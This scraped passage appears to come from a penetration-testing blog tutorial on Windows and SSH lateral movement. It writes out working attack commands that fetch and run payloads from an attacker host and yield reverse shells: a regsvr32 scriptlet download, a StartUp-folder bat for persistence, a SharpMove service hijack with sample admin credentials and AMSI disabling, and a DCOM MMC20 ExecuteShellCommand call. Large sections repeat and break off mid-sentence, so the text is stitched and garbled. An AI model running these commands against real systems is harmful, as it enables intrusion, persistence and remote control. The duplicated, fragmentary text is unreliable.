https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7KKQ2AwR6bn3Ka5EDCN78bvPtmu79BL_RX0dbdmLbiwJKyO-aLlAE7ULwqUXeDA1hpVHbSWl423gq4OKOG31a6D_uG-DreCX-pHCQz7LaDjCALIIkYA0W6y3F0rllqB9b-hm_wv0doRHz1F3cXCcZBYy3vYDS7NQhACVD4MpmH8v4u7t9ijylu9E5mg/s16000/24.png?w=640&ssl=1
Now we run this using cmd.exe
cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> \\127.0.0.1\ADMIN$\ignite 2>&1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5O2F4vuRHjOSR0ZkvCLsSXgNMfuhS_B2TiNFu6d3pQP3GAGBEQNq7okoaufJtlR0tzJNB2GMv5HziScc9KDI8QfjoVj_aNz8lpQejE66U38GfZRCaZu66a_dLzQyx9I-_qpC4uBIWaAuj0bvCCe9eb-iD2JxyJrL3YEK0rmlHL3aMSH_LUM7f6Z4IJw/s16000/25.png?w=640&ssl=1
This gives us a reverse shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7cFC3rNDJ6o0VBGb05xJ0QARo9DblCZoLYctgLGxcCdpr-Y_bCsR0lh2BfdExU5AmZh1ixmF-EChoCKDBo8JKpmAf1thZKbStuqapaivm2lmGpQ2cp5yQAwd6fCa9HKLV8E-fwoBoFMCep-BvEDJpMfMY7FDiS8hYo2h0-hZfauMxbKKuLhniukiKkw/s16000/26.png?w=640&ssl=1
As you can see, the output file has been created in the remote share we specified. Though there was no output so the file is empty, but it got created.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOyX9QEy0-KvU0hXBdbHPHHdV698Uh_rTzZ_7mwUWYIcFFgHCLEAIEMfumwOvIVUqXEfRmCLIhSKC2pEguO_9AP_j64Jz-mC3oXQycui6hhc6UEYj2y50xW4snS4ua_ZV8OyuOXD_Ca0o5jCC6liPx2dR4dhdatUT5XJU353-LYgsEhEyb9wqxYnrjcA/s16000/27.png?w=640&ssl=1
Another example of this could be to write a bat file in a remote share of victim 192.168.0.120 which would save our payload execution command in StartUp and this will be executed next time system restarts.
cmd.exe /Q /c "echo ‘cmd.exe /c \\192.168.0.89\sharename\shell.exe’" 1> \\192.168.0.120\C$\ ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ignite.bat 2>&1
SharpMove.exe SMB RCE
0xthirteen has developed a C# script called SharpMove which utilizes many different remote services to conduct code execution. It can use an SMB share on a remote system to execute code. It can also try and disable AMSI as an added bonus. In this example, we will modify an existing service by entering our own code in it. We just created a service called “ignite” while demonstrating sc.exe, let’s modify that service. Execution on system with hostname “DESKTOP-9GSGK09” can be achieved like so:
SharpMove.exe action=modsvc compute[...]
Hacking Articles Tips Tricks Videos Tutorials
PsExec A Metasploit psexec module exists which can compromise a remote system if SMB is reachable on the target and the credentials provided are valid. Here, lets say we obtained SMB credentials Administrator:123, we can use these credentials across the network…
rname=DESKTOP-9GSGKO9 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe" amsi=true servicename=ignite username=Administrator password=123
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOFahaY2LV5GEEuhkq-jIDryXxPO9Et5Bz3rqn9U-dosD6ioxt_62p0zH_qDAVH_4CyG3dMOharCm1EqhbQCM3Q9e9JLLnf3-roOxyih-yY9cv0996bAM2BIFTFM_dGtcof1KL0VCxI6ltJA1WLOTFj6QkaxiAyMbCTc0rEy_jFD69ilkvUbShH8G_9w/s16000/28.png?w=640&ssl=1
As you can see, SharpMove.exe has updated the service binpath and a reverse shell has been achieved successfully.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV1lOwkvUcb6Y2TpWHEJN0XUXceQVwjuPmyn6RVJfadVK6dfvlQeeRsc_jGZFYt0Pqy91yMCJSrDKCButSzf8SRQ5hsyeSZN01OjgkqdUAy1ssraDmgVnEYRSKl94sWLqHYhFz_GXqJMA3zsr_wrjDi1ggiHfdgzyAXnJ0iRVu3LjEZ30V8-aFY9fIfg/s16000/29.png?w=640&ssl=1 Lateral Movement through DCOM (T1021.003)According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.
It is not a programming language but a standard that is only applicable to code that has been compiled to binary. Programming languages like C++ provide simple mechanisms to play with COM objects. C, Java implement COM too.”
A COM object is one in which access to an object’s data is achieved exclusively through one or more sets of related functions. These function sets are called interfaces, and the functions of an interface are called methods. Further, COM requires that the only way to gain access to the methods of an interface is through a pointer to the interface. In other words, COM enables a binary to interact with other software objects or executables by implementing objects which can call DLLs and EXEs. DCOM (Distributed COM) is middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.
By default, only Administrators may remotely activate and launch COM objects through DCOM
DCOM can execute macros in Office documents and also interact with WMI remotely thus opening the attacked domain to a wide array of vectors.
Please note that this attack works on a domain-joined system. DCOM remoting is not available across networks by default. To enable DCOM remoting, some magical code is required which is not in the scope of this article. (Though, I have done it and am using the non-domain joined system to do so)
Mmc20.application remote DCOM
You use Microsoft Management Console (MMC) to create, save and open administrative tools, called consoles, which manage the hardware, software, and network components of your Microsoft Windows operating system. MMC runs on all client operating systems that are currently supported. Here, Enigma0x3’s method (ref here) is being used.
First, let’s see mmc20.application’s registry entry using powershell. The ProgID is required to create its an instance in a remote system. Next, we will create a new instance of this program mmc20 on our target system (192.168.0.119) using Powershell.
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyr4OBio6cybxkORq2f3hpe9OLHACLWkUIgMLTCEV3WPxirLfXhx9YOJBSOHAU2Oz-x_hDUBVxu7mPo3nWHigwEJR4mHvsL7kL74p58u2t0K4Upq4kudssOObSH78F-fThIzZy4Pxpl6pdNOLrN63uZS-NZJh6IpNQHfU3FxICTq35Ax7aVmck5HvqPg/s16000/30.png?w=640&ssl=1
We created an object called $dcom that spawns different functions mmc can perform. One such is ExecuteShellCommand
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyJLPQTzXLdP8o5FHxWngEqCVHlQ0NuIgVBPOMUpY2f_htXicpQdhmLfIR6dTFLuZ4cZk8OqoMkLIM4wsmUF-L_jipd-efexJFJ7WjT5twJxrluPEHcmaVa21n5BzC[...]
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOFahaY2LV5GEEuhkq-jIDryXxPO9Et5Bz3rqn9U-dosD6ioxt_62p0zH_qDAVH_4CyG3dMOharCm1EqhbQCM3Q9e9JLLnf3-roOxyih-yY9cv0996bAM2BIFTFM_dGtcof1KL0VCxI6ltJA1WLOTFj6QkaxiAyMbCTc0rEy_jFD69ilkvUbShH8G_9w/s16000/28.png?w=640&ssl=1
As you can see, SharpMove.exe has updated the service binpath and a reverse shell has been achieved successfully.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV1lOwkvUcb6Y2TpWHEJN0XUXceQVwjuPmyn6RVJfadVK6dfvlQeeRsc_jGZFYt0Pqy91yMCJSrDKCButSzf8SRQ5hsyeSZN01OjgkqdUAy1ssraDmgVnEYRSKl94sWLqHYhFz_GXqJMA3zsr_wrjDi1ggiHfdgzyAXnJ0iRVu3LjEZ30V8-aFY9fIfg/s16000/29.png?w=640&ssl=1 Lateral Movement through DCOM (T1021.003)According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.
It is not a programming language but a standard that is only applicable to code that has been compiled to binary. Programming languages like C++ provide simple mechanisms to play with COM objects. C, Java implement COM too.”
A COM object is one in which access to an object’s data is achieved exclusively through one or more sets of related functions. These function sets are called interfaces, and the functions of an interface are called methods. Further, COM requires that the only way to gain access to the methods of an interface is through a pointer to the interface. In other words, COM enables a binary to interact with other software objects or executables by implementing objects which can call DLLs and EXEs. DCOM (Distributed COM) is middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.
By default, only Administrators may remotely activate and launch COM objects through DCOM
DCOM can execute macros in Office documents and also interact with WMI remotely thus opening the attacked domain to a wide array of vectors.
Please note that this attack works on a domain-joined system. DCOM remoting is not available across networks by default. To enable DCOM remoting, some magical code is required which is not in the scope of this article. (Though, I have done it and am using the non-domain joined system to do so)
Mmc20.application remote DCOM
You use Microsoft Management Console (MMC) to create, save and open administrative tools, called consoles, which manage the hardware, software, and network components of your Microsoft Windows operating system. MMC runs on all client operating systems that are currently supported. Here, Enigma0x3’s method (ref here) is being used.
First, let’s see mmc20.application’s registry entry using powershell. The ProgID is required to create its an instance in a remote system. Next, we will create a new instance of this program mmc20 on our target system (192.168.0.119) using Powershell.
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyr4OBio6cybxkORq2f3hpe9OLHACLWkUIgMLTCEV3WPxirLfXhx9YOJBSOHAU2Oz-x_hDUBVxu7mPo3nWHigwEJR4mHvsL7kL74p58u2t0K4Upq4kudssOObSH78F-fThIzZy4Pxpl6pdNOLrN63uZS-NZJh6IpNQHfU3FxICTq35Ax7aVmck5HvqPg/s16000/30.png?w=640&ssl=1
We created an object called $dcom that spawns different functions mmc can perform. One such is ExecuteShellCommand
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyJLPQTzXLdP8o5FHxWngEqCVHlQ0NuIgVBPOMUpY2f_htXicpQdhmLfIR6dTFLuZ4cZk8OqoMkLIM4wsmUF-L_jipd-efexJFJ7WjT5twJxrluPEHcmaVa21n5BzC[...]
Hacking Articles Tips Tricks Videos Tutorials
rname=DESKTOP-9GSGKO9 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe" amsi=true servicename=ignite username=Administrator password=123 https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOFahaY2LV5GEEuhkq-jIDryXxPO9Et5Bz3rqn9U-d…
px4QjG8vhUwwqrrUSTA9TOA8UN0Tg7Ydqbk-_mc7kF0hqFX_VQgZzvy3lrUzpA/s16000/31.png?w=640&ssl=1
We will use this function to execute a command on this remote DCOM object so created.
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c \\192.168.0.89\sharename\shell.exe > output.txt","7")
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOejm75xWAXKD9_28901Sqhwy6n_mvJwGnSYEsnxhpNPMEqvovhkc1qDrjMD9gXgDFYugoHtH5GXohAkg9vIIcU1TjCF0aMLk5dmjGXpVeccZWNlNRn3xVlGjU7cyjiEOm-zdKj_7N-PmTAYMY85MwcAGwG4rWbFS43xUrIdatYLyR_n0yT3mN87U7fg/s16000/32.png?w=640&ssl=1
Upon successful execution, we see a hit on our SMB server, the executable is fetched and executed
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGlZOtrE10xdM0vnF-iB9srddV1_BlDB3J4OCVu98yY0NTr4TJ2rAvHwgprh9K_EMlIodzLQKQNokJuk04D0vWy_45DuHvzsD3zjBX1W8OlsHq8MgxZ7EBwpoLlBtWp8wiJLR5uKgHaBeRNkpmoplheQIWg1pa1Pw0CMzMBb2fntnZpOz7BBktwWA51w/s16000/33.png?w=640&ssl=1
This gives us a nice reverse shell and lateral movement has, therefore, been achieved!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5Ev-BZ29In-IxKwSDyeSmO2Igv3fdzCvQA2G5GaL1wrnfEa_mNltLv43ADESEUrxIj9przKq8dQUpb8gC2m8dhlLQpsvPQKRv8HjXLzK8dI-4hi0HcLFc4PwZWXzVso9xyAlVGdt6EPmq-Onem3SFHfQR-uGz6OVJL6V6unO9W2CZqT5tO1wvjkjGCg/s16000/34.png?w=640&ssl=1 Lateral Movement through SSH (T1021.004)SSH is the most widely used cross-platform protocol that lets a user connect to remote sessions and allows file copy as well. Often there are different subnetworks being used in corporate environments which may not be reachable to an attacker directly due to firewall restrictions or due to a different network interface. In such scenarios, moving laterally through SSH can open a variety of options for an attacker. Let’s see some methods.
SSH Port Forwarding
For comprehensive use-cases and a guide to port forwarding, I highly recommend reading this article. We take a simple scenario here. Our destination server has the following IP address and username
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBaEboKjdEwYR8iG6fbkaBud8KQSxnPMnTir_kU7MwhJukLXZAeZRLi1fDV9qD88_5pqpQq6ZGVPKucew9KYFeRa_bpT1b62nKpP-4bEAjjV1lUkYWVlS5l3Tl_-A13HK760Bc0v-9jv6e0TrUNLMKoD02Rje3x6cPuI3JQbfXhG9IN0D1Nj0nO2r_0Q/s16000/35.png?w=640&ssl=1
Now, we have compromised a system with username “hex” successfully that has 2 network cards. One on the same network as our attacker machine and one on our destination server’s network.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje54uwCHRVTI7iLLMYxFP-wbqjAhiAEDhiZTbJqSJq6Gl8CIh9P_QplK9OMhIfP03YpRsqw_Oqj7HtbkeOxG7fq8VaaUM1d2_t8XxRfaSrHAHUBp648XoDmrhyoQasI34wtEEJJWx5Qd28qGWbgPTXMAMONZ-3nBQZNSlFu67J26Nm7FOlXHbf-ZEzMw/s16000/36.png?w=640&ssl=1
And as you can see, our attacker machine has a different subnet than our destination and our ping isn’t reaching, so it isn’t directly accessible.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqQIkG2KoJKeTMYpKKt9c69zL0YhoVu613xXAs8vLZgXsOROSN4aQHedWNlO1zYnAk4t26YAQiDQCvYBLCTJRu_sn0KidGgoMwLUhPZ1pc2aR8sSQwN_VLPrteYCfF7yPv7Xurb5oSRiN4PYCtPBGmrnKyBsNFDnKkGcXlQ-SbI9jCRx8XSai_FObkNQ/s16000/37.png?w=640&ssl=1
To set up a local port forward, which allows us to redirect any incoming traffic at a specific port to the destination server, we follow the following schema:
ssh -L LOCAL_PORT:DEST_IP:DEST_PORT COMPROMISED_USERNAME@COMPROMISED_SERVER
Thereafter, we have to specify hex’s password.
ssh -L 7000:192.168.179.130:22 hex@192.168.0.119
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIDi4Tnt7_L50KdiTgl4leErFDyJnrT5hUsLdKjRVoXGgHkgWxMm2kZtSNue6iwS2QgknlOaA3jLd2DeHnw-g1gHY5UHInAiGMgxzpzEIkVLPN901TNVTS1Cnz7GKSJpUOfKzdYUIYBpCdGR8jLbbrdFU-DiNMtcv5DXMGAyhB1ZzjZV2oTRnG9DB5Ww/s16000/38.png?w=640&ssl=1
Upon successful setup, we would now be able to connect to the destination server! First, make sure there are no pre-existing localhost entries in the known[...]
We will use this function to execute a command on this remote DCOM object so created.
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c \\192.168.0.89\sharename\shell.exe > output.txt","7")
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOejm75xWAXKD9_28901Sqhwy6n_mvJwGnSYEsnxhpNPMEqvovhkc1qDrjMD9gXgDFYugoHtH5GXohAkg9vIIcU1TjCF0aMLk5dmjGXpVeccZWNlNRn3xVlGjU7cyjiEOm-zdKj_7N-PmTAYMY85MwcAGwG4rWbFS43xUrIdatYLyR_n0yT3mN87U7fg/s16000/32.png?w=640&ssl=1
Upon successful execution, we see a hit on our SMB server, the executable is fetched and executed
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGlZOtrE10xdM0vnF-iB9srddV1_BlDB3J4OCVu98yY0NTr4TJ2rAvHwgprh9K_EMlIodzLQKQNokJuk04D0vWy_45DuHvzsD3zjBX1W8OlsHq8MgxZ7EBwpoLlBtWp8wiJLR5uKgHaBeRNkpmoplheQIWg1pa1Pw0CMzMBb2fntnZpOz7BBktwWA51w/s16000/33.png?w=640&ssl=1
This gives us a nice reverse shell and lateral movement has, therefore, been achieved!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5Ev-BZ29In-IxKwSDyeSmO2Igv3fdzCvQA2G5GaL1wrnfEa_mNltLv43ADESEUrxIj9przKq8dQUpb8gC2m8dhlLQpsvPQKRv8HjXLzK8dI-4hi0HcLFc4PwZWXzVso9xyAlVGdt6EPmq-Onem3SFHfQR-uGz6OVJL6V6unO9W2CZqT5tO1wvjkjGCg/s16000/34.png?w=640&ssl=1 Lateral Movement through SSH (T1021.004)SSH is the most widely used cross-platform protocol that lets a user connect to remote sessions and allows file copy as well. Often there are different subnetworks being used in corporate environments which may not be reachable to an attacker directly due to firewall restrictions or due to a different network interface. In such scenarios, moving laterally through SSH can open a variety of options for an attacker. Let’s see some methods.
SSH Port Forwarding
For comprehensive use-cases and a guide to port forwarding, I highly recommend reading this article. We take a simple scenario here. Our destination server has the following IP address and username
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBaEboKjdEwYR8iG6fbkaBud8KQSxnPMnTir_kU7MwhJukLXZAeZRLi1fDV9qD88_5pqpQq6ZGVPKucew9KYFeRa_bpT1b62nKpP-4bEAjjV1lUkYWVlS5l3Tl_-A13HK760Bc0v-9jv6e0TrUNLMKoD02Rje3x6cPuI3JQbfXhG9IN0D1Nj0nO2r_0Q/s16000/35.png?w=640&ssl=1
Now, we have compromised a system with username “hex” successfully that has 2 network cards. One on the same network as our attacker machine and one on our destination server’s network.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje54uwCHRVTI7iLLMYxFP-wbqjAhiAEDhiZTbJqSJq6Gl8CIh9P_QplK9OMhIfP03YpRsqw_Oqj7HtbkeOxG7fq8VaaUM1d2_t8XxRfaSrHAHUBp648XoDmrhyoQasI34wtEEJJWx5Qd28qGWbgPTXMAMONZ-3nBQZNSlFu67J26Nm7FOlXHbf-ZEzMw/s16000/36.png?w=640&ssl=1
And as you can see, our attacker machine has a different subnet than our destination and our ping isn’t reaching, so it isn’t directly accessible.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqQIkG2KoJKeTMYpKKt9c69zL0YhoVu613xXAs8vLZgXsOROSN4aQHedWNlO1zYnAk4t26YAQiDQCvYBLCTJRu_sn0KidGgoMwLUhPZ1pc2aR8sSQwN_VLPrteYCfF7yPv7Xurb5oSRiN4PYCtPBGmrnKyBsNFDnKkGcXlQ-SbI9jCRx8XSai_FObkNQ/s16000/37.png?w=640&ssl=1
To set up a local port forward, which allows us to redirect any incoming traffic at a specific port to the destination server, we follow the following schema:
ssh -L LOCAL_PORT:DEST_IP:DEST_PORT COMPROMISED_USERNAME@COMPROMISED_SERVER
Thereafter, we have to specify hex’s password.
ssh -L 7000:192.168.179.130:22 hex@192.168.0.119
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIDi4Tnt7_L50KdiTgl4leErFDyJnrT5hUsLdKjRVoXGgHkgWxMm2kZtSNue6iwS2QgknlOaA3jLd2DeHnw-g1gHY5UHInAiGMgxzpzEIkVLPN901TNVTS1Cnz7GKSJpUOfKzdYUIYBpCdGR8jLbbrdFU-DiNMtcv5DXMGAyhB1ZzjZV2oTRnG9DB5Ww/s16000/38.png?w=640&ssl=1
Upon successful setup, we would now be able to connect to the destination server! First, make sure there are no pre-existing localhost entries in the known[...]